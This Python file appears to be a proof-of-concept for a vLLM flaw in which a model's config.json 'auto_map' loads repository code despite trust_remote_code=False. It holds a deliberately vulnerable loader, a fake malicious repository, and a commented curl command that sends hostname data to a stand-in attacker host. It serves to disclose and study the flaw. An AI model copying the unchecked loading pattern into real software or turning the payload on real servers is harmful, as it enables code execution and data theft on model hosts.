Vulnerable code sample

import os
import json
import tempfile
import shutil
from pathlib import Path
from transformers import AutoConfig
from transformers.dynamic_module_utils import get_class_from_dynamic_module

# This code represents the vulnerable logic pattern found in vLLM versions
# prior to 0.14.0. It simulates how the 'auto_map' feature in a Hugging Face
# model's config.json could be used to trigger arbitrary code execution
# by bypassing the 'trust_remote_code' flag.

def _get_model_architecture_vulnerable(config):
    """
    A simplified representation of the vulnerable part of the model loading
    process in early vLLM versions.

    This function directly processes the 'auto_map' directive from a model's
    configuration without validating 'trust_remote_code'. This allows Python
    code specified in the model repository to be executed.
    """
    architectures = getattr(config, "architectures", [])
    if not architectures:
        return None

    arch = architectures[0]

    # VULNERABILITY: The code checks for 'auto_map' and directly loads the
    # dynamic module without checking if remote code execution is trusted.
    # The 'trust_remote_code' parameter, which should gate this behavior, is ignored.
    if "auto_map" in config.to_dict():
        if arch in config.auto_map:
            # This call executes code from the model repository.
            # In a real scenario, this would happen during server startup.
            class_name = config.auto_map[arch]
            print(f"[VULNERABLE CODE] Found 'auto_map' for '{arch}'.")
            print(f"[VULNERABLE CODE] Attempting to load '{class_name}' without checking 'trust_remote_code'.")
            
            # The get_class_from_dynamic_module function will find and execute
            # the Python file associated with the custom class.
            model_class = get_class_from_dynamic_module(
                class_name,
                config.name_or_path,
            )
            return model_class
    return None


def load_model_demonstration(model_path: str, trust_remote_code: bool):
    """
    Simulates the top-level model loading call.
    It loads the config and then calls the vulnerable internal function.
    """
    print("-" * 50)
    print(f"Attempting to load model from: {model_path}")
    print(f"User setting: trust_remote_code={trust_remote_code}")
    print("-" * 50)

    # The user might correctly set trust_remote_code=False here.
    config = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)

    # However, the internal function ignores this setting.
    _get_model_architecture_vulnerable(config)

    print("\n[INFO] Model loading process finished.")


# --- Proof of Concept (PoC) Setup ---
# The following code sets up a fake "malicious" model repository on the local
# filesystem to demonstrate the vulnerability.

def setup_malicious_repo(path: Path):
    """Creates a directory with a malicious config.json and a Python file."""
    print(f"[PoC SETUP] Creating malicious repository at: {path}")

    # 1. The malicious Python code to be executed.
    #    The code is executed when the module is imported by `get_class_from_dynamic_module`.
    malicious_py_code = """
import os

print("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!")
print("!!!    MALICIOUS CODE EXECUTION SUCCESSFUL (CVE-2026-22807)   !!!")
print("!!!   This code is running because trust_remote_code=False    !!!")
print("!!!                  was IGNORED by the loader.               !!!")
print("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!")

# In a real attack, this could be any command.
# For example: os.system("curl http://attacker.com/collect_data?host=$(hostname)")

# Define the class required by config.json to complete the import
class MaliciousModel:
    pass
"""
    (path / "malicious_code.py").write_text(malicious_py_code)

    # 2. The config.json that points to the malicious code via 'auto_map'.
    config_data = {
        "architectures": ["MaliciousModel"],
        "model_type": "malicious",
        "auto_map": {
            "MaliciousModel": "malicious_code.MaliciousModel"
        }
    }
    (path / "config.json").write_text(json.dumps(config_data))
    print("[PoC SETUP] Malicious repository created successfully.\n")


if __name__ == "__main__":
    # Use a temporary directory to simulate the model path
    with tempfile.TemporaryDirectory() as tmpdir:
        malicious_model_path = Path(tmpdir) / "malicious-model"
        malicious_model_path.mkdir()

        # Create the fake malicious model repository
        setup_malicious_repo(malicious_model_path)

        # --- DEMONSTRATION OF THE VULNERABILITY ---
        # We explicitly set trust_remote_code=False, which should prevent
        # the execution of any code from the model repository.
        # However, due to the vulnerability, the code in `malicious_code.py`
        # will still be executed.
        try:
            load_model_demonstration(
                model_path=str(malicious_model_path),
                trust_remote_code=False
            )
        except Exception as e:
            print(f"[ERROR] An exception occurred during model loading: {e}")